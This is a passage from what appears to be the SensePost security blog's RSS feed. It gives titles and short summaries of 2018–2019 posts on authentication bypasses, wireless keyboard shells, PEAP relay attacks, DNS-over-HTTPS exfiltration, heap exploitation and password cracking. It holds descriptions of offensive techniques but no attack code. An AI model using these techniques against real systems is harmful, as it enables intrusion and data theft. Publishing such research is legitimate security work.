				<description>&lt;p&gt;BMC makes a number of mainframe-focused applications, one of which is Control-D. Control-D is a &amp;#8220;Report Distribution system for distributed and mainframe platforms&amp;#8221;. This blog post describes an authentication bypass vulnerability that was found, allowing access to restricted reports.&lt;/p&gt;&#xA;&lt;p&gt;To make mainframe-based reports accessible outside the mainframe, and to avoid having to create mainframe accounts for every report consumer, BMC provides a web application, making the reports available via a browser.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Obtaining shells via Logitech Unifying Dongles</title>
				<link>https://sensepost.com/blog/2019/obtaining-shells-via-logitech-unifying-dongles/</link>
				<pubDate>Mon, 02 Dec 2019 11:14:21 +0000</pubDate>
				<guid>https://sensepost.com/blog/2019/obtaining-shells-via-logitech-unifying-dongles/</guid>
				<description>&lt;p&gt;In this post, I will recap some of the security research conducted on wireless keyboards and mice, and eventually show how current wireless keyboards and mice can be used to obtain a covert shell on a target computer.&lt;/p&gt;&#xA;&lt;p&gt;Around 2009, Max Moser &lt;a href=&#34;http://www.remote-exploit.org/articles/keykeriki_v1_0_-_27mhz/index.html&#34;&gt;realised&lt;/a&gt; that most wireless keyboards were simply transmitting the keystrokes in clear text. His initial research targeted systems using 27MHz radios. In 2010, he presented &lt;a href=&#34;http://www.remote-exploit.org/articles/keykeriki_v2_0__8211_2_4ghz/&#34;&gt;followup research&lt;/a&gt; targeting systems using 2.4GHz radios, which suffered from similar vulnerabilities. Manufacturers responded (&lt;a href=&#34;https://samy.pl/keysweeper/&#34;&gt;eventually&lt;/a&gt;!) by encrypting the keystrokes, but most elected not to encrypt the mouse movements,  because that would introduce latency and increase power consumption for no real benefit.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Hacking doom for fun, health and ammo</title>
				<link>https://sensepost.com/blog/2019/hacking-doom-for-fun-health-and-ammo/</link>
				<pubDate>Wed, 27 Nov 2019 19:12:00 +0000</pubDate>
				<guid>https://sensepost.com/blog/2019/hacking-doom-for-fun-health-and-ammo/</guid>
				<description>&lt;p&gt;Remember &lt;code&gt;iddqd&lt;/code&gt; and &lt;code&gt;idkfa&lt;/code&gt;? Those are two strings were etched into my brain at a very young age where fond memories of playing shareware Doom live. For SenseCon &amp;#8217;19, Lauren and Reino joined me as we dove into some reversing of &lt;a href=&#34;https://www.chocolate-doom.org/wiki/index.php/Chocolate_Doom&#34;&gt;chocolate-doom&lt;/a&gt; with the aim of recreating similar cheats. The results? Well, a video of it is shown below. We managed to get cheats working that would:&lt;/p&gt;&#xA;&lt;ul &gt;&lt;li&gt;Increment your ammo instead of decrement it.&lt;/li&gt;&lt;li&gt;Increment everyone&amp;#8217;s health for the amount it would have gone down for. Yes, you read right, everyone.&lt;/li&gt;&lt;li&gt;Toggle cheats just like how they behaved in classic doom.&lt;/li&gt;&lt;/ul&gt;&#xA;&lt;p&gt;The source code for our cheats live &lt;a href=&#34;https://github.com/sensepost/frida-windows-playground/blob/master/doom-cheats.js&#34;&gt;here&lt;/a&gt; if you want to play along, or maybe even contribute new ones :)&lt;/p&gt;</description>
			</item>
			<item>
				<title>The power of variant analysis (Semmle QL) CVE-2019-15937 and CVE-2019-15938</title>
				<link>https://sensepost.com/blog/2019/the-power-of-variant-analysis-semmle-ql-cve-2019-15937-and-cve-2019-15938/</link>
				<pubDate>Mon, 28 Oct 2019 17:24:08 +0000</pubDate>
				<guid>https://sensepost.com/blog/2019/the-power-of-variant-analysis-semmle-ql-cve-2019-15937-and-cve-2019-15938/</guid>
				<description>&lt;h2 &gt;Intro&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;This post will try to do a small introduction to the QL language using real-world vulnerabilities that I found in the past, and it will end with a small challenge using QL.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;A few months ago, I heard of Semmle QL for the first time, what they do is perform multiple code analysis techniques against source code, and dump these results into a database. Then using the QL language, you can query this data to perform variant analysis.&lt;/p&gt;</description>
			</item>
			<item>
				<title>mettle your ios with frida</title>
				<link>https://sensepost.com/blog/2019/mettle-your-ios-with-frida/</link>
				<pubDate>Tue, 01 Oct 2019 08:10:03 +0000</pubDate>
				<guid>https://sensepost.com/blog/2019/mettle-your-ios-with-frida/</guid>
				<description>&lt;p&gt;For a long time I have wondered about getting Meterpreter running on an iOS device using Frida. It wasn&amp;#8217;t until I had a Twitter conversation with &lt;a href=&#34;https://twitter.com/timwr&#34;&gt;@timwr&lt;/a&gt; that I was reminded of &lt;a href=&#34;https://github.com/rapid7/mettle&#34;&gt;Mettle&lt;/a&gt;. It was finally time to give it a try. I built an objection plugin that would load it for you, which you can find &lt;a href=&#34;https://github.com/sensepost/objection/tree/master/plugins/mettle&#34;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://defcon.org/html/defcon-27/dc-27-speakers.html#Jacobs&#34;&gt;My talk at DEF CON 27&lt;/a&gt; mainly covered some ideas on how we could interact with live object instances in interesting ways. However, there were also some examples of how we could use Frida&amp;#8217;s &lt;code&gt;Module.load()&lt;/code&gt; API to side load existing external tooling that come in the form of shared libraries (either by default or wrapping them ourselves). With Mettle targeting low-resource or embedded devices, its native code approach meant it also supported iOS. So if we could get a compiled Mettle dylib, we could load it with Frida. You don&amp;#8217;t need Frida to load a dylib of course. Using something like &lt;a href=&#34;https://github.com/Tyilo/insert_dylib&#34;&gt;insert_dylib&lt;/a&gt; would work just as well. The nice thing about using something like Frida though is that we have some external control over the loading process and any post processing that we may need.&lt;/p&gt;</description>
			</item>
			<item>
				<title>PEAP Relay Attacks with wpa_sycophant</title>
				<link>https://sensepost.com/blog/2019/peap-relay-attacks-with-wpa_sycophant/</link>
				<pubDate>Tue, 25 Jun 2019 13:59:31 +0000</pubDate>
				<guid>https://sensepost.com/blog/2019/peap-relay-attacks-with-wpa_sycophant/</guid>
				<description>&lt;p&gt;Back in 2018, I was interested that MSCHAPv2 and NTLMv1 hashes crack using the same algorithms, and wanting to get onto the WiFi of one of our clients, I naively thought &amp;#8220;Surely if you can relay NTLMv1 and it uses the same crypto as MSCHAPv2, you should be able to relay MSCHAPv2!&amp;#8221;. The resulted in the creation of &lt;a href=&#34;https://github.com/sensepost/wpa_sycophant&#34;&gt;wpa_sycophant&lt;/a&gt; (and its helper &lt;a href=&#34;https://github.com/sensepost/berate_ap&#34;&gt;berate_ap&lt;/a&gt;) to perform PEAP relay attacks. It was presented in &lt;a href=&#34;https://youtu.be/eYsGyvGxlpI?t=1052&#34;&gt;our Defcon talk last year from about 17m in&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Analysis of a 1day (CVE-2019-0547) and discovery of a forgotten condition in the patch (CVE-2019-0726) – Part 1 of 2</title>
				<link>https://sensepost.com/blog/2019/analysis-of-a-1day-cve-2019-0547-and-discovery-of-a-forgotten-condition-in-the-patch-cve-2019-0726-part-1-of-2/</link>
				<pubDate>Thu, 02 May 2019 06:49:56 +0000</pubDate>
				<guid>https://sensepost.com/blog/2019/analysis-of-a-1day-cve-2019-0547-and-discovery-of-a-forgotten-condition-in-the-patch-cve-2019-0726-part-1-of-2/</guid>
				<description>&lt;p&gt;This post will cover my journey into the analysis of &lt;a href=&#34;https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0547&#34;&gt;CVE-2019-0547 &lt;/a&gt;(Affecting the windows DHCP client), a vulnerability discovered by Mitch Adair of Microsoft Windows Enterprise Security Team and how I found a new issue in the same function.&lt;/p&gt;&#xA;&lt;ul &gt;&lt;li&gt;&lt;strong&gt;Part 1&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;Patch extraction&lt;/li&gt;&lt;li&gt;Patch diffing&lt;/li&gt;&lt;li&gt;Program flow to the function&lt;/li&gt;&lt;li&gt;DHCP Options&lt;/li&gt;&lt;li&gt;0x000x00&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Part 2&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;Integer overflow&lt;/li&gt;&lt;li&gt;Nobody respects RFCs&lt;/li&gt;&lt;li&gt;0xC0 &amp;#8220;compression algorithm&amp;#8221;&lt;/li&gt;&lt;li&gt;Final conclusions&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&#xA;&lt;h2 &gt;Patch extraction&lt;/h2&gt;&#xA;&lt;p&gt;Even though these first steps around patch downloading, extraction and diffing are already heavily documented over the internet, I will cover them here in any case.&lt;/p&gt;</description>
			</item>
			<item>
				<title>recreating known universal windows password backdoors with Frida</title>
				<link>https://sensepost.com/blog/2019/recreating-known-universal-windows-password-backdoors-with-frida/</link>
				<pubDate>Tue, 23 Apr 2019 07:27:14 +0000</pubDate>
				<guid>https://sensepost.com/blog/2019/recreating-known-universal-windows-password-backdoors-with-frida/</guid>
				<description>&lt;h2 &gt;tl;dr&lt;/h2&gt;&#xA;&lt;p&gt;I have been actively using &lt;a href=&#34;https://frida.re/&#34;&gt;Frida&lt;/a&gt; for little over a year now, but primarily on mobile devices while building the &lt;a href=&#34;https://github.com/sensepost/objection&#34;&gt;objection&lt;/a&gt; toolkit. My interest in using it on other platforms has been growing, and I decided to play with it on Windows to get a feel. I needed an objective, and decided to try port a well-known local Windows password backdoor to Frida. This post is mostly about the process of how Frida will let you quickly investigate and prototype using dynamic instrumentation.&lt;br /&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Understanding PEAP In-Depth</title>
				<link>https://sensepost.com/blog/2019/understanding-peap-in-depth/</link>
				<pubDate>Thu, 18 Apr 2019 07:33:44 +0000</pubDate>
				<guid>https://sensepost.com/blog/2019/understanding-peap-in-depth/</guid>
				<description>&lt;p&gt;&lt;em&gt;tl;dr&lt;br /&gt; We reported a long standing PEAP bug in all Apple devices that would allow an attacker to force any Apple device (iOS, macOS or tvOS) to associate with a malicious access point, even if the authentication server (RADIUS) couldn&amp;#8217;t prove knowledge of the password. To understand it fully, we go on a deep dive into EAP and MSCHAPv2.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h3 &gt;Table of Contents&lt;/h3&gt;&#xA;&lt;ul &gt;&lt;li&gt;&lt;a href=&#34;#PEAP&#34;&gt;PEAP at a High Level&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&#34;#MSCHAPv2&#34;&gt;MSCHAPv2&lt;/a&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&#34;#inner&#34;&gt;Decrypting the Inner Tunnel&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&#34;#MSCHAPv2inner&#34;&gt;The Inner MSCHAPv2 Exchange&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&#34;#MSCHAPv2bytes&#34;&gt;Byte-Level Description of the MSCHAPv2 Exchange&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&#34;#MSCHAPv2calcs&#34;&gt;MSCHAPv2 Calculations&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&#34;#MSCHAPv2fail&#34;&gt;MSCHAPv2 Failure Behaviour&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&#34;#vuln&#34;&gt;The Apple Vulnerability&lt;/a&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&#34;#fix&#34;&gt;Apple&amp;#8217;s Fix&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&#34;#timeline&#34;&gt;Disclosure Timeline &amp;amp; Details&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&#34;#report&#34;&gt;Original Vulnerability Report&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&#xA;&lt;p&gt;While prepping for our Defcon talk last year, &lt;a href=&#34;https://twitter.com/_cablethief&#34;&gt;Michael&lt;/a&gt; kept pushing me to implement &lt;a href=&#34;https://tools.kali.org/wireless-attacks/hostapd-wpe&#34;&gt;hostapd-wpe&lt;/a&gt;&amp;#8216;s EAP success attack. In this attack, the authentication server will accept any username, then skip the step where it proves knowledge of the password back to the station (because it doesn&amp;#8217;t know the password), and instead sends an EAP-success message back to the station. I refused for a long time, because I thought it was a dumb attack that would never work. This is because in MSCHAPv2 the authentication server also proves knowledge of the password back to the station, and if it couldn&amp;#8217;t, I assumed the station would just refuse to continue, after all, that&amp;#8217;s the whole point.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Being Stubborn Pays Off pt. 1 – CVE-2018-19204</title>
				<link>https://sensepost.com/blog/2019/being-stubborn-pays-off-pt.-1-cve-2018-19204/</link>
				<pubDate>Thu, 18 Apr 2019 07:00:30 +0000</pubDate>
				<guid>https://sensepost.com/blog/2019/being-stubborn-pays-off-pt.-1-cve-2018-19204/</guid>
				<description>&lt;h2 &gt;Intro&lt;/h2&gt;&#xA;&lt;p&gt;During an internal assessment, I came across monitoring software that had default credentials configured. This monitoring software allowed for the creation of sensors, but, none of which would allow for code execution or any other things that could compromise an underlying system. Turns out, it was a vulnerable version based on a publicly known CVE, but there was no public exploit code. Join me in this quest on building an exploit!&lt;/p&gt;</description>
			</item>
			<item>
				<title>Introduction to WebAssembly</title>
				<link>https://sensepost.com/blog/2018/introduction-to-webassembly/</link>
				<pubDate>Wed, 14 Nov 2018 15:06:24 +0000</pubDate>
				<guid>https://sensepost.com/blog/2018/introduction-to-webassembly/</guid>
				<description>&lt;p&gt;I&amp;#8217;ve started seeing WebAssemly (WASM) stuff popping up in a few places, most notably &lt;a href=&#34;https://blog.cloudflare.com/cloud-computing-without-containers/&#34;&gt;CloudFlare&amp;#8217;s recent anti-container isolated v8 workload stuff&lt;/a&gt; and I wanted to understand it a little better.&lt;/p&gt;&#xA;&lt;p&gt;Essentially, WebAssembly is a way to compile stuff to a browser-native binary format .wasm, which you can then load with JavaScript and interact with.&lt;/p&gt;&#xA;&lt;h2&gt;Simplest C&lt;/h2&gt;&#xA;&lt;p&gt;Since this is binary, I wanted to start with a C program. Since it&amp;#8217;s C, to avoid includes or C&amp;lt;-&amp;gt;JS string handling, I&amp;#8217;m just going to return 42 like other tutorials start with :)&lt;/p&gt;</description>
			</item>
			<item>
				<title>(Re)Evaluating Qubes OS as a pentesting platform</title>
				<link>https://sensepost.com/blog/2018/reevaluating-qubes-os-as-a-pentesting-platform/</link>
				<pubDate>Wed, 24 Oct 2018 12:23:40 +0000</pubDate>
				<guid>https://sensepost.com/blog/2018/reevaluating-qubes-os-as-a-pentesting-platform/</guid>
				<description>&lt;h1&gt;Intro&lt;/h1&gt;&#xA;&lt;p&gt;Laptop hardening is difficult at the best of times, and it&amp;#8217;s made worse by the conflicting requirements we have for our workstations. With one laptop, we need to have work email and chat set up, we need to be able to spin up lab environments to test cool stuff we&amp;#8217;re interested in, and we need to be able to run various tools on client engagements that may require us to lower the security of our laptop to run properly. The go-to solution to squaring these requirements is to use something like VMWare or docker containers to keep things separate, but after trying out Qubes for a while, I&amp;#8217;ve found that it&amp;#8217;s improved my workflow significantly. However, no linux setup is perfect out the box, and in this post I want to note the biggest changes I&amp;#8217;ve made to make the OS more usable as a daily driver.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Waiting for goDoH</title>
				<link>https://sensepost.com/blog/2018/waiting-for-godoh/</link>
				<pubDate>Wed, 24 Oct 2018 07:31:59 +0000</pubDate>
				<guid>https://sensepost.com/blog/2018/waiting-for-godoh/</guid>
				<description>&lt;h1&gt;or DNS exfiltration over DNS over HTTPS (DoH) with &lt;a href=&#34;https://github.com/sensepost/godoh&#34;&gt;godoh&lt;/a&gt;&lt;/h1&gt;&#xA;&lt;p&gt;&amp;#8220;&lt;a href=&#34;https://attack.mitre.org/wiki/Technique/T1048&#34;&gt;Exfiltration Over Alternate Protocol&lt;/a&gt;&amp;#8221; techniques such as using the &lt;a href=&#34;https://en.wikipedia.org/wiki/Domain_Name_System&#34;&gt;Domain Name System&lt;/a&gt; as a covert communication channel for data exfiltration is not a &lt;a href=&#34;https://seclists.org/bugtraq/1998/Apr/79&#34;&gt;new concept&lt;/a&gt;. We&amp;#8217;ve used the technique for many years at SensePost, including &lt;a href=&#34;https://sensepost.com/blog/2007/finallyull-release-of-blackhat-defcon-timing-stuff../&#34;&gt;Haroon &amp;amp; Marco&amp;#8217;s 2007 BH/DC talk&lt;/a&gt; on &lt;a href=&#34;https://github.com/sensepost/squeeza/blob/master/sqlreturnchannelviadns.rb&#34;&gt;Squeeza&lt;/a&gt;. In the present age this is a well understood topic, at least amongst Infosec folks, with a large number of &lt;a href=&#34;https://blogs.akamai.com/2017/09/introduction-to-dns-data-exfiltration.html&#34;&gt;resources&lt;/a&gt;, &lt;a href=&#34;https://www.icann.org/news/blog/what-is-a-dns-covert-channel&#34;&gt;available&lt;/a&gt;, &lt;a href=&#34;https://resources.infosecinstitute.com/dns-tunnelling/&#34;&gt;online&lt;/a&gt; that aim to enlighten those that may not be  familiar with the concept. There are also  &lt;a href=&#34;https://www.sans.org/reading-room/whitepapers/dns/detecting-dns-tunneling-34152&#34;&gt;practical techniques&lt;/a&gt; for detecting DNS Tunnelling on your network.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Mallet in the Middle</title>
				<link>https://sensepost.com/blog/2018/mallet-in-the-middle/</link>
				<pubDate>Wed, 10 Oct 2018 09:45:31 +0000</pubDate>
				<guid>https://sensepost.com/blog/2018/mallet-in-the-middle/</guid>
				<description>&lt;p&gt;I recently had an assessment reviewing a kiosk application. As I have been working on Mallet recently, this seemed like a perfect opportunity to put Mallet in between the kiosk and its upstream, and see how the kiosk worked. This is a practical walkthrough to help you replicate the setup for your own MitM needs.&lt;/p&gt;&#xA;&lt;p&gt;&lt;figure &gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2018/mallet-in-the-middle/a9a27a78d65939241018d4bb63742ecf.png&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;384&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2018/mallet-in-the-middle/a9a27a78d65939241018d4bb63742ecf.png&#34; width=&#34;580&#34; /&gt;&lt;/a&gt;&lt;figcaption &gt;The initial state of the network&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;figure &gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2018/mallet-in-the-middle/c69a9e7ed97bd88dca83e8ad516b00ae.png&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;464&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2018/mallet-in-the-middle/c69a9e7ed97bd88dca83e8ad516b00ae.png&#34; width=&#34;720&#34; /&gt;&lt;/a&gt;&lt;figcaption &gt;The end result&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Linux Heap Exploitation Intro Series: Set you free() – part 2</title>
				<link>https://sensepost.com/blog/2018/linux-heap-exploitation-intro-series-set-you-free-part-2/</link>
				<pubDate>Thu, 06 Sep 2018 08:29:15 +0000</pubDate>
				<guid>https://sensepost.com/blog/2018/linux-heap-exploitation-intro-series-set-you-free-part-2/</guid>
				<description>&lt;p&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Intro&lt;/h1&gt;&#xA;&lt;p&gt;Hello there! On this part we are focusing on abusing chunk creation and heap massaging in hope of overwriting the &lt;code&gt;__malloc_hook&lt;/code&gt; weak pointer. Before getting into all the juicy stuff let&amp;#8217;s remember some key things from last post.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The value returned by &lt;code&gt;png_get_uint_32&lt;/code&gt;&lt;strong&gt; &lt;/strong&gt;is of type unsigned integer&lt;/li&gt;&#xA;&lt;li&gt;For a 32 bit integer, the following happens: &lt;code&gt;0xffffffff + 1 = 0&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;fread&lt;/strong&gt; will read values into the destination unless it can’t read from source memory (spoiler: it can)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;fread&lt;/strong&gt; will return the number of elements read from the source&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Points 1 and 2 were made clear but 3 and 4 were left unanswered.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Efficient HTTP Scripting in the Shell</title>
				<link>https://sensepost.com/blog/2018/efficient-http-scripting-in-the-shell/</link>
				<pubDate>Wed, 05 Sep 2018 11:48:22 +0000</pubDate>
				<guid>https://sensepost.com/blog/2018/efficient-http-scripting-in-the-shell/</guid>
				<description>&lt;p&gt;Javier had a simple shell script he posted to our internal chat a few days ago. It&amp;#8217;s goal was to pull all the IP ranges for a country in preparation for a footprint from https://ipinfo.io/ (Let&amp;#8217;s use PL as an example). Given this involved pulling multiple webpages, I was interested to know what the most efficient approach to this in the shell would be. Truthfully, the actual problem, pulling data from the site or gathering BGP routes, didn&amp;#8217;t interest me, I wanted to look at how to do mass HTTP enum most efficiently with curl.&lt;/p&gt;</description>
			</item>
			<item>
				<title>punching messages in the q</title>
				<link>https://sensepost.com/blog/2018/punching-messages-in-the-q/</link>
				<pubDate>Fri, 08 Jun 2018 13:40:54 +0000</pubDate>
				<guid>https://sensepost.com/blog/2018/punching-messages-in-the-q/</guid>
				<description>&lt;p&gt;We&amp;#8217;ve done several assessments of late where we needed to (ab)use MQ services. We&amp;#8217;ve detailed our experiences and results below. Built &lt;a href=&#34;https://github.com/sensepost/punch-q/&#34;&gt;a tool, punch-q&lt;/a&gt;, so you don&amp;#8217;t have to go through the same, and included some info for blue teams, including an &lt;a href=&#34;https://github.com/sensepost/punch-q/tree/master/osquery-mqtable&#34;&gt;osquery extension&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Depending on how old a version you are working with, or which document you read online, you might know IBM&amp;#8217;s Message Queue solution as MQSeries, Webshere MQ or IBM MQ. The latter being the latest name it got around 2014 with the release of version 8. Nonetheless, in the last few months I have come across a number of distinct instances of MQ, each used in their own interesting ways for arbitrary systems integrations. Be it for simple messages being passed around or to facilitate file transfers, MQ played a significant role when it came to the overall business processes these companies had. In order to help me understand the technology better, I discovered some prior research by the folks at MWR, with a very informative talk done at Defcon 15 called &lt;a href=&#34;https://www.youtube.com/watch?v=GYGAvGixZvE&amp;amp;t=606s&#34;&gt;MQ Jumping&lt;/a&gt;. A subsequent &lt;a href=&#34;https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-websphere-mq-security-white-paper-part1-2008-05-06.pdf&#34;&gt;white paper&lt;/a&gt; was released and is definitely worth a read.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Mallet, a framework for creating proxies</title>
				<link>https://sensepost.com/blog/2018/mallet-a-framework-for-creating-proxies/</link>
				<pubDate>Fri, 08 Jun 2018 09:27:25 +0000</pubDate>
				<guid>https://sensepost.com/blog/2018/mallet-a-framework-for-creating-proxies/</guid>
				<description>&lt;p&gt;Thanks to IoT and other developments, we&amp;#8217;re having to review more and more non-HTTP protocols these days. While the hardware is interesting to look at, one can often find vulnerabilities at a network layer too. With many of the non-HTTP-only proxies having fallen out of maintenance or requiring a significant amount of custom code to be written for each unique protocol encountered, we decided to build a tool to make such work easier.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Decoding RF Protocols Within GRC</title>
				<link>https://sensepost.com/blog/2018/decoding-rf-protocols-within-grc/</link>
				<pubDate>Wed, 06 Jun 2018 14:26:59 +0000</pubDate>
				<guid>https://sensepost.com/blog/2018/decoding-rf-protocols-within-grc/</guid>
				<description>&lt;p&gt;I&amp;#8217;ve been fascinated by SDR and everything you can do with it for a long time, and from a pentesters perspective, I thought it would be awesome to be able to fuzz random devices. RF devices are everywhere, and people have used SDR to mess with lots of devices, such as &lt;a href=&#34;https://hackaday.com/2015/09/20/reverse-engineering-traffic-lights-with-software-defined-radio/&#34;&gt;portable traffic lights&lt;/a&gt;, &lt;a href=&#34;http://bkerler.github.io/OregonDecoder/&#34;&gt;weather stations&lt;/a&gt;, and older &lt;a href=&#34;https://www.rtl-sdr.com/unlocking-almost-any-vehicle-with-an-sdr-or-arduino/&#34;&gt;car key fobs&lt;/a&gt;.&lt;br /&gt;&#xA;The thing is, getting started is much harder than I thought it would be as most tutorials are ambiguous, or much more manual that I&amp;#8217;d like. There are lots of tutorials that describe how to find and view an RF signal, but they tend to end up with you counting square waves in audacity, and writing custom scripts to decode the bits you manually wrote down.&lt;/p&gt;</description>
			</item>
			<item>
				<title>A new look at null sessions and user enumeration</title>
				<link>https://sensepost.com/blog/2018/a-new-look-at-null-sessions-and-user-enumeration/</link>
				<pubDate>Fri, 11 May 2018 19:11:20 +0000</pubDate>
				<guid>https://sensepost.com/blog/2018/a-new-look-at-null-sessions-and-user-enumeration/</guid>
				<description>&lt;p&gt;Hello,&lt;/p&gt;&#xA;&lt;p&gt;TLDR; I think I found three new ways to do user enumeration on Windows domain controllers, and I wrote &lt;a href=&#34;https://github.com/sensepost/UserEnum&#34;&gt;some scripts&lt;/a&gt; for it.&lt;/p&gt;&#xA;&lt;p&gt;Over the years, I have often used the NULL session vulnerability to enumerate lists of users, groups, shares and other interesting information from remote Windows systems.&lt;/p&gt;&#xA;&lt;p&gt;For the uninitiated, Windows exposes several administrative and hidden shares via SMB by default.&lt;/p&gt;&#xA;&lt;p&gt;Some of these shares allow one to access the complete storage device on remote systems. For example, C$ will allow one to access the C Drive. Another share, Admin$, allows one to access the Windows installation directory. To be able to mount these shares however, one needs to be an administrator on the remote system.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Cracking Efficiency Measurements &amp; Common Substring Attack</title>
				<link>https://sensepost.com/blog/2018/cracking-efficiency-measurements-common-substring-attack/</link>
				<pubDate>Thu, 19 Apr 2018 11:31:04 +0000</pubDate>
				<guid>https://sensepost.com/blog/2018/cracking-efficiency-measurements-common-substring-attack/</guid>
				<description>&lt;p&gt;This was an epic week for password cracking, we had lots of new hashes and lots of competition to see who could crack the most the fastest.&lt;/p&gt;&#xA;&lt;p&gt;BLUF: I put together a cracking technique, and tested it against other techniques, generating some insight into the best performing cracking techniques. Rockyou with hob064 rules won, but my technique came a close second, and had a faster crack speed. Get the script &lt;a href=&#34;https://github.com/sensepost/common-substr&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Linux Heap Exploitation Intro Series: Set you free() – part 1</title>
				<link>https://sensepost.com/blog/2018/linux-heap-exploitation-intro-series-set-you-free-part-1/</link>
				<pubDate>Thu, 15 Mar 2018 09:20:10 +0000</pubDate>
				<guid>https://sensepost.com/blog/2018/linux-heap-exploitation-intro-series-set-you-free-part-1/</guid>
				<description>&lt;p&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Intro (part 1)&lt;/h1&gt;&#xA;&lt;p&gt;Hello and welcome to the final post of our Intro to exploitation series! We have learned the basics about how the memory management as per the ptmalloc2 allocator works. It was a basic but enough approach to have a good starting point. However, there are a few concepts and attack scenarios that, due to existing &lt;strong&gt;a lot&lt;/strong&gt; of information about these, I have kept long distance from &amp;#8220;&lt;a href=&#34;https://github.com/shellphish/how2heap/blob/master/unsafe_unlink.c&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;unsafe unlink&lt;/a&gt;&amp;#8220;, &amp;#8220;&lt;a href=&#34;http://phrack.org/issues/66/10.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;malloc (des)malleficarum&lt;/a&gt;&amp;#8221; and techniques alike. These weren&amp;#8217;t either basic enough or outdated and wanted to learn and note down the most basic and known exploit primitives: Use-after-invalidation (incl. Use-after-free), overflows (incl. Off-by-one) and double-free.&lt;/p&gt;</description>
			</item>
			<item>
				<title>tip toeing past android 7’s network security configuration</title>
				<link>https://sensepost.com/blog/2018/tip-toeing-past-android-7s-network-security-configuration/</link>
				<pubDate>Mon, 12 Mar 2018 18:12:07 +0000</pubDate>
				<guid>https://sensepost.com/blog/2018/tip-toeing-past-android-7s-network-security-configuration/</guid>
				<description>&lt;p&gt;In late Jan, someone opened an Github &lt;a href=&#34;https://github.com/sensepost/objection/issues/48&#34;&gt;issue&lt;/a&gt; in the objection repository about Android 7&amp;#8217;s &lt;a href=&#34;https://developer.android.com/training/articles/security-config.html&#34;&gt;Network Security Configuration&lt;/a&gt;. The issue author included a &lt;a href=&#34;https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/november/bypassing-androids-network-security-configuration/&#34;&gt;blogpost&lt;/a&gt; from the NCC group about this very topic which included some very helpful bits of information (which you should totally read).&lt;/p&gt;&#xA;&lt;p&gt;Naturally, I wanted to enhance objection to be able to get past this new security feature, so the testing began. I installed a Burp CA as one would normally do for assessments as well as a small test application with certificate pinning disabled and quickly realised that literally no network traffic was passing through. Inspecting the output of &lt;code&gt;adb logat&lt;/code&gt;, one would see messages such as the following for our failed requests:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Fixing up Net-Creds</title>
				<link>https://sensepost.com/blog/2018/fixing-up-net-creds/</link>
				<pubDate>Tue, 20 Feb 2018 15:04:59 +0000</pubDate>
				<guid>https://sensepost.com/blog/2018/fixing-up-net-creds/</guid>
				<description>&lt;p&gt;TL; DR: I fixed-up net-creds and MITMf to solve the CHALLENGE NOT FOUND bug.&lt;/p&gt;&#xA;&lt;p&gt;A while back on an internal assessment, I was having a hard time getting a high-privileged user account.&lt;/p&gt;&#xA;&lt;p&gt;This was the third assessment SensePost has done for the client, and they have implemented several of our recommendations. In particular, Responder wasn’t providing me with any hashes even though I was connected to the same network segment as several users, including some administrators. The client has a strict policy of only using the latest operating systems, i.e. Windows 10, and had disabled NBNS and LLMNR.&lt;/p&gt;</description>
			</item>
			<item>
				<title>5 Min Security: Popular Phishing Techniques in 2017/2018</title>
